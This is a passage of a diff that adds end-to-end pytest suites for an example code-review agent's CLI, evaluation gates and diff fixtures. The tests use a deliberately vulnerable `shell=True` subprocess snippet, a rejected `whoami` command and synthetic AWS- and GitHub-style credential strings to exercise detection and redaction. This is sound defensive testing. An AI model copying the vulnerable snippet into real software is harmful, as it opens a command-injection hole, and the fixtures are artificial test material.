+"""Pytest configuration shared by code-review Agent test layers.""" + +from __future__ import annotations + +from _pytest.config import Config + + +def pytest_configure(config: Config) -> None: + """注册可选 container 与 real_llm 标记,避免环境门禁测试产生未知标记告警。""" + + config.addinivalue_line("markers", "container: requires a running Docker daemon") + config.addinivalue_line("markers", "real_llm: requires an explicitly configured real model key") diff --git a/examples/skills_code_review_agent/tests/e2e/.gitkeep b/examples/skills_code_review_agent/tests/e2e/.gitkeep new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/examples/skills_code_review_agent/tests/e2e/.gitkeep @@ -0,0 +1 @@ + diff --git a/examples/skills_code_review_agent/tests/e2e/test_cli.py b/examples/skills_code_review_agent/tests/e2e/test_cli.py new file mode 100644 index 000000000..12c643a12 --- /dev/null +++ b/examples/skills_code_review_agent/tests/e2e/test_cli.py @@ -0,0 +1,535 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""End-to-end tests for the public code-review command line interface.""" + +from __future__ import annotations + +import json +import os +import re +import shutil +import subprocess +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +CLI_PATH = PROJECT_ROOT / "run_agent.py" + + +def _db_url(path: Path) -> str: + """构造仅供本测试进程使用的临时 SQLite URL。""" + + return f"sqlite+pysqlite:///{path.as_posix()}" + + +def _run_cli(tmp_path: Path, *arguments: str) -> subprocess.CompletedProcess[str]: + """在仓库虚拟环境解释器下执行 CLI,并移除可能影响离线路径的模型凭据。""" + + environment = os.environ.copy() + for name in tuple(environment): + if "API_KEY" in name or "TOKEN" in name or "PASSWORD" in name: + environment.pop(name) + environment["PYTHONUTF8"] = "1" + return subprocess.run( + [sys.executable, str(CLI_PATH), *arguments], + cwd=tmp_path, + env=environment, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=120, + ) + + +def _trace_events(stderr: str) -> list[dict[str, object]]: + """提取 stderr 中的受控 JSONL trace,忽略第三方库的非结构化告警。""" + + prefix = "[code-review-trace] " + return [ + json.loads(line[len(prefix):]) + for line in stderr.splitlines() + if line.startswith(prefix) + ] + + +def _write_high_severity_file(tmp_path: Path) -> Path: + """写入能够触发确定性 shell 注入规则的最小快照文件。""" + + source = tmp_path / "src" / "service.py" + source.parent.mkdir() + source.write_text( + "import subprocess\n\nsubprocess.run('echo hello', shell=True)\n", + encoding="utf-8", + ) + return source + + +def _write_valid_diff(tmp_path: Path) -> Path: + """写入最小合法 unified diff,供 Agent diff-file 输入回归使用。""" + + diff_file = tmp_path / "changes.diff" + diff_file.write_text( + "diff --git a/src/service.py b/src/service.py\n" + "index 1111111..2222222 100644\n" + "--- a/src/service.py\n" + "+++ b/src/service.py\n" + "@@ -1,1 +1,2 @@\n" + " def run():\n" + "+ return 'changed'\n", + encoding="utf-8", + ) + return diff_file + + +def _create_changed_git_repository(tmp_path: Path) -> Path: + """创建带一处未提交变更的独立 Git 仓库,供 repo-path Agent 输入回归使用。""" + + repository = tmp_path / "repository" + repository.mkdir() + source = repository / "service.py" + source.write_text("def run():\n return 'before'\n", encoding="utf-8") + for command in ( + ("git", "init"), + ("git", "config", "user.email", "test@example.invalid"), + ("git", "config", "user.name", "Code Review Test"), + ("git", "add", "service.py"), + ("git", "commit", "-m", "initial"), + ): + subprocess.run(command, cwd=repository, check=True, capture_output=True, timeout=20) + source.write_text("def run():\n return 'after'\n", encoding="utf-8") + return repository + + +def _review_arguments(database: Path, source: Path, output_dir: Path) -> list[str]: + """返回每个 CLI 评审场景共享的显式 local dry-run 参数。""" + + return [ + "review", + "--files", + str(source.relative_to(source.parents[1])), + "--input-root", + str(source.parents[1]), + "--db-url", + _db_url(database), + "--output-dir", + str(output_dir), + "--sandbox", + "local", + "--dry-run", + ] + + +def _docker_daemon_available() -> bool: + """仅探测 Docker daemon 是否可用,使可选 container 用例在缺少前置条件时明确跳过。""" + + executable = shutil.which("docker") + if executable is None: + return False + try: + result = subprocess.run( + [executable, "version", "--format", "{{.Server.Version}}"], + check=False, + capture_output=True, + timeout=5, + ) + except (OSError, subprocess.TimeoutExpired): + return False + return result.returncode == 0 + + +def test_dry_run_db_url_review_show_list_and_init_db_use_one_sqlite_bundle(tmp_path: Path) -> None: + """验证 review→show→list→init-db 共享临时数据库且不需要模型 Key 或 Docker。""" + + source = _write_high_severity_file(tmp_path) + database = tmp_path / "review.db" + output_dir = tmp_path / "reports" + + initialized = _run_cli(tmp_path, "init-db", "--db-url", _db_url(database)) + reviewed = _run_cli(tmp_path, *_review_arguments(database, source, output_dir)) + + assert initialized.returncode == 0, initialized.stderr + assert reviewed.returncode == 0, reviewed.stderr + payload = json.loads(reviewed.stdout) + assert payload["status"] in {"completed", "completed_with_warnings"} + assert payload["task_id"].startswith("review-") + assert payload["entrypoint"] == "pipeline" + assert payload["report_files"] == { + "json": str((output_dir / "review_report.json").resolve()), + "markdown": str((output_dir / "review_report.md").resolve()), + } + report = json.loads((output_dir / "review_report.json").read_text(encoding="utf-8")) + assert report["metrics"]["tool_call_count"] == 0 + assert (output_dir / "review_report.json").is_file() + assert (output_dir / "review_report.md").is_file() + + shown = _run_cli(tmp_path, "show", payload["task_id"], "--db-url", _db_url(database)) + listed = _run_cli(tmp_path, "list", "--db-url", _db_url(database)) + + assert shown.returncode == 0, shown.stderr + shown_bundle = json.loads(shown.stdout) + assert shown_bundle["task"]["id"] == payload["task_id"] + assert len(shown_bundle["sandbox_runs"]) == 1 + assert len(shown_bundle["filter_events"]) == 1 + assert shown_bundle["report"] is not None + assert listed.returncode == 0, listed.stderr + assert payload["task_id"] in {task["id"] for task in json.loads(listed.stdout)["tasks"]} + assert not (tmp_path / "out" / "review.db").exists() + + +def test_user_query_runs_sdk_skill_entry_and_returns_the_shared_report_paths(tmp_path: Path) -> None: + """验证显式 Agent 入口加载 SkillToolSet 后仍返回唯一 pipeline 产生的报告。""" + + database = tmp_path / "agent-review.db" + output_dir = tmp_path / "agent-reports" + + reviewed = _run_cli( + tmp_path, + "user-query", + "review the approved security fixture", + "--fixture", + "02_security_simple", + "--db-url", + _db_url(database), + "--output-dir", + str(output_dir), + "--sandbox", + "local", + "--dry-run", + ) + + assert reviewed.returncode == 0, reviewed.stderr + payload = json.loads(reviewed.stdout) + assert payload["entrypoint"] == "agent" + assert payload["skill_tools"] == ["skill_load", "skill_run"] + assert payload["task_id"].startswith("review-") + assert payload["report_files"] == { + "json": str((output_dir / "review_report.json").resolve()), + "markdown": str((output_dir / "review_report.md").resolve()), + } + report = json.loads((output_dir / "review_report.json").read_text(encoding="utf-8")) + assert report["metrics"]["tool_call_count"] == 2 + assert (output_dir / "review_report.json").is_file() + assert (output_dir / "review_report.md").is_file() + assert "[INFO] Review started: entrypoint=agent" in reviewed.stderr + assert "[INFO] Agent tool call: skill_load" in reviewed.stderr + assert "[INFO] Filter decision: action=ALLOW" in reviewed.stderr + assert "review-request-" not in reviewed.stderr + assert "shell=True" not in reviewed.stderr + + +def test_user_query_accepts_a_natural_language_intent_and_runs_the_skill_chain(tmp_path: Path) -> None: + """验证自然语言 fixture 请求会解析为受控输入,并实际调用固定的 Skill 工具链。""" + + database = tmp_path / "ask-review.db" + output_dir = tmp_path / "ask-reports" + + reviewed = _run_cli( + tmp_path, + "user-query", + "请使用 code-review Skill 审查这个 fixture", + "--fixture", + "01_clean_simple", + "--db-url", + _db_url(database), + "--output-dir", + str(output_dir), + "--sandbox", + "local", + "--dry-run", + ) + + assert reviewed.returncode == 0, reviewed.stderr + payload = json.loads(reviewed.stdout) + assert payload["entrypoint"] == "agent" + assert payload["skill_tools"] == ["skill_load", "skill_run"] + assert payload["task_id"].startswith("review-") + report = json.loads((output_dir / "review_report.json").read_text(encoding="utf-8")) + assert report["input_summary"]["source_kind"] == "fixture" + assert report["metrics"]["finding_count"] == 0 + assert report["metrics"]["tool_call_count"] == 2 + assert database.is_file() + + +def test_user_query_supports_all_four_explicit_input_modes(tmp_path: Path) -> None: + """验证 user-query 对 fixture、diff、files 和 repo 四类显式输入均走同一 Agent 工具链。""" + + source = _write_high_severity_file(tmp_path) + diff_file = _write_valid_diff(tmp_path) + repository = _create_changed_git_repository(tmp_path) + scenarios = ( + ("fixture", ("--fixture", "01_clean_simple"), "fixture"), + ("diff", ("--diff-file", str(diff_file)), "diff_file"), + ( + "files", + ("--files", str(source.relative_to(tmp_path)), "--input-root", str(tmp_path)), + "files", + ), + ("repo", ("--repo-path", str(repository)), "repo_path"), + ) + + for name, source_arguments, expected_source_kind in scenarios: + output_dir = tmp_path / f"{name}-reports" + database = tmp_path / f"{name}.db" + reviewed = _run_cli( + tmp_path, + "user-query", + "请审查这个已明确指定的输入", + *source_arguments, + "--sandbox", + "local", + "--dry-run", + "--db-url", + _db_url(database), + "--output-dir", + str(output_dir), + ) + + assert reviewed.returncode == 0, reviewed.stderr + payload = json.loads(reviewed.stdout) + report = json.loads((output_dir / "review_report.json").read_text(encoding="utf-8")) + assert payload["entrypoint"] == "agent" + assert payload["skill_tools"] == ["skill_load", "skill_run"] + assert report["input_summary"]["source_kind"] == expected_source_kind + assert report["metrics"]["tool_call_count"] == 2 + + +def test_user_query_rejects_malformed_diff_before_agent_or_sandbox(tmp_path: Path) -> None: + """验证 user-query 在启动 Agent 前拒绝格式错误的 diff,且不产生报告。""" + + output_dir = tmp_path / "invalid-reports" + diff_file = tmp_path / "invalid.diff" + diff_file.write_text("this is not a unified diff\n", encoding="utf-8") + invalid = _run_cli( + tmp_path, + "user-query", + "请审查这个补丁", + "--diff-file", + str(diff_file), + "--output-dir", + str(output_dir), + "--sandbox", + "local", + "--dry-run", + ) + + assert invalid.returncode == 2 + assert not (output_dir / "review_report.json").exists() + + +def test_user_query_trace_streams_sanitized_skill_and_pipeline_events(tmp_path: Path) -> None: + """验证 trace 实时展示 Agent/Skill/Pipeline 流程且不泄露 query、代码或 request id。""" + + output_dir = tmp_path / "trace-reports" + database = tmp_path / "trace-review.db" + query = "请使用 code-review Skill 审查 02_security_simple fixture" + + reviewed = _run_cli( + tmp_path, + "user-query", + query, + "--fixture", + "02_security_simple", + "--trace", + "--sandbox", + "local", + "--dry-run", + "--output-dir", + str(output_dir), + "--db-url", + _db_url(database), + ) + + assert reviewed.returncode == 0, reviewed.stderr + assert json.loads(reviewed.stdout)["entrypoint"] == "agent" + events = _trace_events(reviewed.stderr) + event_names = [str(event["event"]) for event in events] + assert event_names == [ + "user_query.request_received", + "user_query.input_validated", + "review.started", + "agent.turn_started", + "agent.tool_call", + "agent.tool_response", + "agent.tool_call", + "skill_run.started", + "pipeline.started", + "pipeline.input_loaded", + "pipeline.filter_decision", + "pipeline.sandbox_started", + "pipeline.sandbox_finished", + "pipeline.report_persisted", + "skill_run.completed", + "agent.tool_response", + "agent.turn_completed", + "review.completed", + ] + assert [event.get("tool") for event in events if event["event"] == "agent.tool_call"] == [ + "skill_load", + "skill_run", + ] + assert query not in reviewed.stderr + assert "shell=True" not in reviewed.stderr + assert "review-request-" not in reviewed.stderr + + +def test_direct_trace_streams_pipeline_events_without_agent_tools(tmp_path: Path) -> None: + """验证 direct 入口也可追踪 Pipeline,但不会伪造 Agent 工具事件。""" + + source = _write_high_severity_file(tmp_path) + output_dir = tmp_path / "direct-trace-reports" + reviewed = _run_cli( + tmp_path, + *_review_arguments(tmp_path / "direct-trace.db", source, output_dir), + "--trace", + ) + + assert reviewed.returncode == 0, reviewed.stderr + assert json.loads(reviewed.stdout)["entrypoint"] == "pipeline" + event_names = [str(event["event"]) for event in _trace_events(reviewed.stderr)] + assert event_names == [ + "review.started", + "pipeline.started", + "pipeline.input_loaded", + "pipeline.filter_decision", + "pipeline.sandbox_started", + "pipeline.sandbox_finished", + "pipeline.report_persisted", + "review.completed", + ] + assert not any(name.startswith("agent.") or name.startswith("skill_run.") for name in event_names) + + +def test_direct_and_user_query_fixture_reports_have_the_same_canonical_findings(tmp_path: Path) -> None: + """验证 direct 与 Agent 入口对同一 fixture 生成完全一致的确定性 finding 桶。""" + + direct_dir = tmp_path / "direct" + agent_dir = tmp_path / "agent" + common = ( + "review", + "--fixture", + "02_security_simple", + "--sandbox", + "local", + "--dry-run", + ) + + direct = _run_cli( + tmp_path, + *common, + "--output-dir", + str(direct_dir), + "--db-url", + _db_url(direct_dir / "review.db"), + ) + user_query = _run_cli( + tmp_path, + "user-query", + "review the approved security fixture", + "--fixture", + "02_security_simple", + "--sandbox", + "local", + "--dry-run", + "--output-dir", + str(agent_dir), + "--db-url", + _db_url(agent_dir / "review.db"), + ) + + assert direct.returncode == 0, direct.stderr + assert user_query.returncode == 0, user_query.stderr + direct_report = json.loads((direct_dir / "review_report.json").read_text(encoding="utf-8")) + agent_report = json.loads((agent_dir / "review_report.json").read_text(encoding="utf-8")) + for bucket in ("findings", "needs_human_review", "suppressed"): + assert agent_report[bucket] == direct_report[bucket] + assert json.loads(user_query.stdout)["skill_tools"] == ["skill_load", "skill_run"] + assert direct_report["metrics"]["tool_call_count"] == 0 + assert agent_report["metrics"]["tool_call_count"] == 2 + + +def test_removed_via_agent_and_ask_commands_are_rejected(tmp_path: Path) -> None: + """验证已移除的公开 Agent 兼容入口不能再绕过 user-query 契约。""" + + via_agent = _run_cli( + tmp_path, + "review", + "--fixture", + "01_clean_simple", + "--via-agent", + ) + ask = _run_cli(tmp_path, "ask", "请审查 01_clean_simple") + + assert via_agent.returncode == 2 + assert ask.returncode == 2 + + +def test_fail_on_severity_returns_one_only_at_requested_boundary(tmp_path: Path) -> None: + """验证高危 finding 在阈值命中时返回 1,而关闭阈值时保持成功退出。""" + + source = _write_high_severity_file(tmp_path) + database = tmp_path / "review.db" + base_arguments = _review_arguments(database, source, tmp_path / "reports") + + normal = _run_cli(tmp_path, *base_arguments) + failing = _run_cli(tmp_path, *base_arguments, "--fail-on-severity", "high") + + assert normal.returncode == 0, normal.stderr + assert failing.returncode == 1, failing.stderr + + +def test_invalid_requests_exit_two_without_container(tmp_path: Path) -> None: + """验证互斥输入和禁止命令均在不依赖 Docker 的常规回归中返回退出码 2。""" + + source = _write_high_severity_file(tmp_path) + database = tmp_path / "review.db" + invalid = _run_cli( + tmp_path, + "review", + "--files", + str(source), + "--repo-path", + str(tmp_path), + "--db-url", + _db_url(database), + ) + forbidden = _run_cli(tmp_path, "review", "--command", "whoami") + assert invalid.returncode == 2 + assert forbidden.returncode == 2 + + +@pytest.mark.container +def test_strict_container_runs_when_daemon_is_available(tmp_path: Path) -> None: + """Docker 可用时验证严格 container 成功执行,且 CLI 不会静默回退到 local。""" + + if not _docker_daemon_available(): + pytest.skip("container_runtime_unavailable") + + source = _write_high_severity_file(tmp_path) + database = tmp_path / "review.db" + strict_container = _run_cli( + tmp_path, + "review", + "--files", + str(source.relative_to(tmp_path)), + "--input-root", + str(tmp_path), + "--db-url", + _db_url(database), + "--sandbox", + "container", + ) + + assert strict_container.returncode == 0, strict_container.stderr + assert json.loads(strict_container.stdout)["sandbox"] == "container" + assert re.search(r"\[INFO\] Container started: container_id=[0-9a-f]{64}", strict_container.stderr) + assert "trpc_agent_sdk" not in strict_container.stderr diff --git a/examples/skills_code_review_agent/tests/e2e/test_evaluate.py b/examples/skills_code_review_agent/tests/e2e/test_evaluate.py new file mode 100644 index 000000000..b5e2df457 --- /dev/null +++ b/examples/skills_code_review_agent/tests/e2e/test_evaluate.py @@ -0,0 +1,324 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Offline evaluation entry-point contracts for D4.""" + +from __future__ import annotations + +import json +import os +import sqlite3 +import subprocess +import sys +from pathlib import Path + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +EVALUATE_PATH = PROJECT_ROOT / "evaluate.py" +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) + +import evaluate # noqa: E402 + + +@pytest.fixture(scope="module") +def evaluation_summary(tmp_path_factory: pytest.TempPathFactory) -> dict[str, object]: + """执行一次真实 local Skill 评测,并返回其不含原始语料的摘要。""" + + output_dir = tmp_path_factory.mktemp("evaluation") + completed = subprocess.run( + [ + sys.executable, + str(EVALUATE_PATH), + "--sandbox", + "local", + "--output-dir", + str(output_dir), + ], + cwd=output_dir, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=600, + ) + assert completed.returncode == 0, completed.stderr + summary_path = output_dir / "eval_summary.json" + assert summary_path.is_file() + assert not (output_dir / "review.db").exists() + return json.loads(summary_path.read_text(encoding="utf-8")) + + +def test_evaluate_metrics_meet_public_proxy_gates(evaluation_summary: dict[str, object]) -> None: + """验证公开代理语料的 fixture、召回、误报占比和 P/R/F1 统计。""" + + assert evaluation_summary["fixture_summary"] == {"passed": 8, "total": 8} + assert evaluation_summary["corpus"]["boundary_cases"] >= 8 + metrics = evaluation_summary["metrics"] + assert isinstance(metrics, dict) + assert metrics["high_risk_recall"] >= 0.80 + assert metrics["finding_false_positive_share"] <= 0.15 + assert metrics["benign_secret_false_positives"] == 0 + assert set(("precision", "recall", "f1")) <= set(metrics) + + +def test_evaluate_redact_and_per_fixture_duration_gates(evaluation_summary: dict[str, object]) -> None: + """验证密钥检测率与八条独立 Agent 审查均在单任务墙钟预算内完成。""" + + metrics = evaluation_summary["metrics"] + assert isinstance(metrics, dict) + assert metrics["redaction_detection_rate"] >= 0.95 + assert metrics["plaintext_hits"] == 0 + fixture_runs = evaluation_summary["fixture_runs"] + assert isinstance(fixture_runs, list) + assert len(fixture_runs) == 8 + assert {run["fixture"] for run in fixture_runs} == set(evaluate.FIXTURE_NAMES) + assert all(run["entrypoint"] == "agent" for run in fixture_runs) + assert all(run["skill_tools"] == ["skill_load", "skill_run"] for run in fixture_runs) + assert all(0 < run["duration_ms"] <= 120_000 for run in fixture_runs) + + +def test_evaluate_summary_and_optional_history(tmp_path: Path) -> None: + """验证摘要包含环境摘要、默认无业务库写入且可显式写入独立历史库。""" + + output_dir = tmp_path / "evaluation" + history_db = tmp_path / "evaluation_history.db" + completed = subprocess.run( + [ + sys.executable, + str(EVALUATE_PATH), + "--sandbox", + "local", + "--output-dir", + str(output_dir), + "--write-db", + str(history_db), + ], + cwd=tmp_path, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=600, + ) + assert completed.returncode == 0, completed.stderr + summary = json.loads((output_dir / "eval_summary.json").read_text(encoding="utf-8")) + assert history_db.is_file() + assert summary["history"]["enabled"] is True + assert {"python", "platform", "runtime", "schema_version", "rule_pack_version", "config_digest"} <= set(summary) + + +def test_evaluate_rejects_real_or_llm_denoise_options(tmp_path: Path) -> None: + """验证门禁入口固定 fake 模型,拒绝 real 与本期不存在的 LLM 降噪参数。""" + + for forbidden_arguments in (("--model-mode", "real"), ("--llm-denoise",)): + completed = subprocess.run( + [sys.executable, str(EVALUATE_PATH), *forbidden_arguments], + cwd=tmp_path, + check=False, + capture_output=True, + encoding="utf-8", + text=True, + timeout=30, + ) + assert completed.returncode != 0 + + +def test_evaluate_subprocess_environment_is_allowlisted(monkeypatch: pytest.MonkeyPatch) -> None: + """验证评测子进程环境不携带任意名称或值的宿主敏感变量。""" + + canary_name = "AWS_SECRET_ACCESS_KEY" + canary_value = "synthetic-canary-value" + monkeypatch.setenv(canary_name, canary_value) + + environment = evaluate._sanitized_environment() + + assert canary_name not in environment + assert canary_value not in environment.values() + assert environment["PYTHONUTF8"] == "1" + + +def test_evaluate_subprocess_environment_keeps_resolved_docker_available( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + """验证 container 评测仅加入已解析 Docker 目录,而非透传完整宿主 PATH。""" + + docker_directory = tmp_path / "docker-bin" + docker_path = docker_directory / ("docker.exe" if os.name == "nt" else "docker") + monkeypatch.setattr( + evaluate.shutil, + "which", + lambda program: str(docker_path) if program == "docker" else None, + ) + + environment = evaluate._sanitized_environment() + + assert str(docker_directory) in environment["PATH"].split(os.pathsep) + assert os.environ.get("PATH", "") != environment["PATH"] + + +def test_evaluate_configures_safe_sdk_logging(monkeypatch: pytest.MonkeyPatch, tmp_path: Path) -> None: + """验证评测入口复用安全日志策略,避免 SDK 运行时诊断泄露临时工作区路径。""" + + configured_levels: list[str] = [] + + def configure_logging(level: str) -> None: + """记录评测入口请求的项目日志级别,不向测试输出真实日志。""" + + configured_levels.append(level) + + monkeypatch.setattr(evaluate, "configure_safe_logging", configure_logging) + fixture_runs = [ + { + "fixture": name, + "entrypoint": "agent", + "skill_tools": ["skill_load", "skill_run"], + "status": "completed", + "duration_ms": 100, + "reports_verified": True, + "database_verified": True, + } + for name in evaluate.FIXTURE_NAMES + ] + monkeypatch.setattr(evaluate, "_run_fixture_suite", lambda *_arguments: (fixture_runs, 0)) + monkeypatch.setattr( + evaluate, + "_evaluate_corpus", + lambda *_arguments: { + "corpus": {"positive_cases": 20, "clean_negative_cases": 10, "secret_cases": 48}, + "metrics": { + "high_risk_recall": 1.0, + "finding_false_positive_share": 0.0, + "redaction_detection_rate": 1.0, + "plaintext_hits": 0, + "benign_secret_false_positives": 0, + }, + }, + ) + monkeypatch.setattr(evaluate, "_observe_blind_spots", lambda *_arguments: (4, 0)) + + exit_code = evaluate.main(["--sandbox", "local", "--output-dir", str(tmp_path / "evaluation")]) + + assert exit_code == 0 + assert configured_levels == ["WARNING"] + + +def test_evaluate_fixture_suite_runs_each_fixture_as_an_independent_agent_task( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + """验证八条 fixture 各自调用 Agent,保留独立任务的工具序列与单条耗时证据。""" + + reviewed_fixtures: list[str] = [] + + def run_fixture_agent( + _work_root: Path, + fixture_name: str, + _sandbox: str, + ) -> tuple[dict[str, object], int]: + """模拟一个已验证的 Agent 任务结果,避免测试依赖真实子进程时延。""" + + reviewed_fixtures.append(fixture_name) + return ( + { + "fixture": fixture_name, + "entrypoint": "agent", + "skill_tools": ["skill_load", "skill_run"], + "status": "completed", + "duration_ms": 125, + "reports_verified": True, + "database_verified": True, + }, + 0, + ) + + monkeypatch.setattr(evaluate, "_run_fixture_agent", run_fixture_agent) + + fixture_runs, plaintext_hits = evaluate._run_fixture_suite(tmp_path, "local") + + assert reviewed_fixtures == list(evaluate.FIXTURE_NAMES) + assert len(fixture_runs) == len(evaluate.FIXTURE_NAMES) + assert all(run["entrypoint"] == "agent" for run in fixture_runs) + assert all(run["skill_tools"] == ["skill_load", "skill_run"] for run in fixture_runs) + assert all(0 < run["duration_ms"] <= evaluate.HARD_LIMIT_MS for run in fixture_runs) + assert plaintext_hits == 0 + + +def test_evaluate_history_rejects_business_review_schema(tmp_path: Path) -> None: + """验证评测历史库拒绝业务 review.db 名称和已有业务五表,避免污染审查数据。""" + + business_database = tmp_path / "business.db" + connection = sqlite3.connect(business_database) + try: + connection.execute("CREATE TABLE cr_review_task (id TEXT PRIMARY KEY)") + connection.commit() + finally: + connection.close() + + with pytest.raises(ValueError, match="evaluation_history_database_invalid"): + evaluate._write_history(business_database, {"status": "safe"}) + with pytest.raises(ValueError, match="evaluation_history_database_invalid"): + evaluate._write_history(tmp_path / "review.db", {"status": "safe"}) + + +def test_evaluate_returns_nonzero_when_a_hard_gate_fails( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + """验证任一公开代理硬门禁失败时入口返回非零,而不是仅在摘要中记录失败。""" + + fixture_runs = [ + { + "fixture": name, + "entrypoint": "agent", + "skill_tools": ["skill_load", "skill_run"], + "status": "completed", + "duration_ms": 100, + "reports_verified": True, + "database_verified": True, + } + for name in evaluate.FIXTURE_NAMES + ] + monkeypatch.setattr(evaluate, "_run_fixture_suite", lambda *_arguments: (fixture_runs, 0)) + monkeypatch.setattr( + evaluate, + "_evaluate_corpus", + lambda *_arguments: { + "corpus": {"positive_cases": 20, "clean_negative_cases": 10, "secret_cases": 48}, + "metrics": { + "high_risk_recall": 0.79, + "finding_false_positive_share": 0.0, + "redaction_detection_rate": 1.0, + "plaintext_hits": 0, + "benign_secret_false_positives": 0, + }, + }, + ) + monkeypatch.setattr(evaluate, "_observe_blind_spots", lambda *_arguments: (4, 0)) + original_hard_gates_pass = evaluate._hard_gates_pass + hard_gate_call_count = 0 + + def count_hard_gate_calls( + metrics: dict[str, object], + runs: list[dict[str, object]], + ) -> bool: + """记录评测入口计算硬门禁的次数,并保留真实判断逻辑。""" + + nonlocal hard_gate_call_count + hard_gate_call_count += 1 + return original_hard_gates_pass(metrics, runs) + + monkeypatch.setattr(evaluate, "_hard_gates_pass", count_hard_gate_calls) + + exit_code = evaluate.main(["--sandbox", "local", "--output-dir", str(tmp_path / "evaluation")]) + + assert exit_code == 1 + assert hard_gate_call_count == 1 diff --git a/examples/skills_code_review_agent/tests/e2e/test_fixtures_e2e.py b/examples/skills_code_review_agent/tests/e2e/test_fixtures_e2e.py new file mode 100644 index 000000000..4682dee20 --- /dev/null +++ b/examples/skills_code_review_agent/tests/e2e/test_fixtures_e2e.py @@ -0,0 +1,459 @@ +# +# Tencent is pleased to support the open source community by making trpc-agent-python available. +# +# Copyright (C) 2026 Tencent. All rights reserved. +# +# trpc-agent-python is licensed under the Apache License Version 2.0. +# + +"""Public-fixture end-to-end contracts for the deterministic review pipeline.""" + +from __future__ import annotations + +import json +import os +import subprocess +import sys +from pathlib import Path +from typing import Any + +import pytest + + +PROJECT_ROOT = Path(__file__).resolve().parents[2] +SCRIPTS_ROOT = PROJECT_ROOT / "skills" / "code-review" / "scripts" +if str(PROJECT_ROOT) not in sys.path: + sys.path.insert(0, str(PROJECT_ROOT)) +if str(SCRIPTS_ROOT) not in sys.path: + sys.path.insert(0, str(SCRIPTS_ROOT)) + +from code_review.inputs import FixturePayload # noqa: E402 +from code_review.pipeline import ReviewPipeline # noqa: E402 +from code_review.redaction import contains_plaintext_secret # noqa: E402 +from code_review.store import SqlReviewStore # noqa: E402 +from run_checks import _findings # noqa: E402 + + +FIXTURE_DIR = PROJECT_ROOT / "tests" / "fixtures" / "diffs" +SIMPLE_FIXTURE_NAMES = ( + "01_clean_simple", + "02_security_simple", + "03_async_leak_simple", + "04_db_lifecycle_simple", + "05_missing_tests_simple", + "06_duplicate_finding_simple", + "07_sandbox_failure_simple", + "08_secret_redaction_simple", +) +COMPLEX_FIXTURE_NAMES = tuple( + f"{name.removesuffix('_simple')}_complex" for name in SIMPLE_FIXTURE_NAMES +) +FIXTURE_NAMES = (*SIMPLE_FIXTURE_NAMES, *COMPLEX_FIXTURE_NAMES) +LEGACY_FIXTURE_NAMES = tuple(name.removesuffix("_simple") for name in SIMPLE_FIXTURE_NAMES) + + +def _fixture_case(name: str) -> str: + """返回 simple/complex 配对共享的八类场景标识。""" + + return name.removesuffix("_simple").removesuffix("_complex") + + +_CLI_FIXTURE_NAMES = tuple( + name + for name in FIXTURE_NAMES + if _fixture_case(name) != "07_sandbox_failure" +) +_SYNTHETIC_SECRETS = ( + "AKIA" + "1234567890ABCDEF", + "ghp_" + "abcdefghijklmnopqrstuvwxyz0123456789", + "LongSyntheticPasswordValue123!", +) +_REALISTIC_EXPECTED_RESULTS = { + "01_clean": set(), + "02_security": { + ("security.sql-fstring", 55, "findings"), + ("security.subprocess-shell-true", 61, "findings"), + }, + "03_async_leak": { + ("resource.client-session-without-close", 41, "needs_human_review"), + ("async.blocking-time-sleep", 42, "findings"), + ("async.unawaited-coroutine", 48, "needs_human_review"), + }, + "04_db_lifecycle": { + ("db.connection-without-close", 43, "needs_human_review"), + ("db.transaction-without-finalize", 44, "findings"), + }, + "05_missing_tests": {("tests.missing-coverage", 1, "needs_human_review")}, + "06_duplicate_finding": {("security.dynamic-eval", 43, "findings")}, + "07_sandbox_failure": set(), + "08_secret_redaction": { + ("secrets.aws_access_key", 7, "findings"), + ("secrets.github_token", 8, "findings"), + ("secrets.password", 9, "findings"), + }, +} + + +class _AllowFixtureGovernance: + """为公开 fixture 提供固定 allow 审计事件,确保测试仍经过 pipeline 的治理阶段。""" + + def decide(self, **_arguments: Any) -> dict[str, object]: + """返回不含原始代码或凭据的受控 allow 决策。""" + + return { + "action": "allow", + "events": [ + { + "stage": "pre_execution", + "target": "run_checks", + "action": "allow", + "rule": "fixture_runtime", + "reasons": ["fixture_rule_pack"], + } + ], + "warnings": [], + } + + +class _FixtureRuleSandbox: + """在 fake runtime 中调用同一份 Skill run_checks 规则,避免 fixture 套件依赖 Docker。""" + + runtime_type = "fake" + + def __init__(self, *, expose_secret_in_stdout: bool = False) -> None: + """记录是否向 sandbox 摘要注入合成密钥,以验证宿主二次脱敏出口。""" + + self._expose_secret_in_stdout = expose_secret_in_stdout + + def execute(self, **arguments: Any) -> dict[str, object]: + """使用 Skill 的真实确定性规则返回候选 finding,不复制规则实现。""" + + change_set = arguments["change_set"] + return { + "status": "ok", + "exit_code": 0, + "timed_out": False, + "truncated": False, + "stdout_excerpt": _SYNTHETIC_SECRETS[1] if self._expose_secret_in_stdout else "", + "stderr_excerpt": "", + "error_type": None, + "duration_ms": 1, + "findings": list(_findings(change_set)), + } + + def cleanup(self, **_arguments: Any) -> None: + """fake runtime 没有创建 workspace,因此 cleanup 保持无副作用。""" + + +class _FailedFixtureSandbox: + """模拟受控 sandbox 非零失败,用于验证报告和数据库仍可交付。""" + + runtime_type = "fake" + + def execute(self, **_arguments: Any) -> dict[str, object]: + """返回不携带原始命令或路径的非零运行摘要。""" + + return { + "status": "failed", + "exit_code": 9, + "timed_out": False, + "truncated": False, + "stdout_excerpt": "", + "stderr_excerpt": "synthetic_checker_failure", + "error_type": "nonzero_exit", + "duration_ms": 1, + "findings": [], + } + + def 